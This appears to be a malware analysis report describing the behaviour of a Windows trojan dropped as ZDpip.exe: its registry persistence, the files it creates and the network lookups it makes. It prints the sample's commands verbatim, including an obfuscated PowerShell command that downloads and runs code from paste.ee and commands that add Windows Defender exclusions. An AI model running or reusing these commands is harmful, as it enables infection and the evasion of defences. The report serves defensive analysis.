Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'shell' = 'explorer.exe,"%TEMP%\ZDpip.exe"'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'ZDpip.exe' = '%TEMP%\ZDpip.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\zdpip.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\ZDpip.exe' = '00000000'
Downloads and executes
- https://content.screencast.com/users/frank224/folders/default/media/29f1e59f-b1eb-447f-be45-9a944a90edf8/origin.exe as %temp%\zdpip.exe
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/kutiU')
Modifies file system
Creates the following files
- %TEMP%\zdpip.exe
- %TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\advancedrun.exe
- %TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\test.bat
Deletes the following files
- %TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\advancedrun.exe
- %TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\test.bat
Network activity
TCP
HTTP GET requests
- http://pa##e.ee/r/kutiU
UDP
- DNS ASK pa##e.ee
- DNS ASK co#####.screencast.com
- DNS ASK pa###.nrecom.net
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%TEMP%\zdpip.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%TEMP%\ZDpip.exe" -Force
- '%TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\advancedrun.exe' /EXEFilename "%TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
- '%TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\advancedrun.exe' /SpecialRun 4101d8 2532
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/kutiU')' (with hidden window)
- '%WINDIR%\syswow64\timeout.exe' 4' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%TEMP%\ZDpip.exe" -Force' (with hidden window)
- '%TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\advancedrun.exe' /EXEFilename "%TEMP%\ae4cc872-f5df-4024-acfa-5a03dda803d7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\timeout.exe' 4
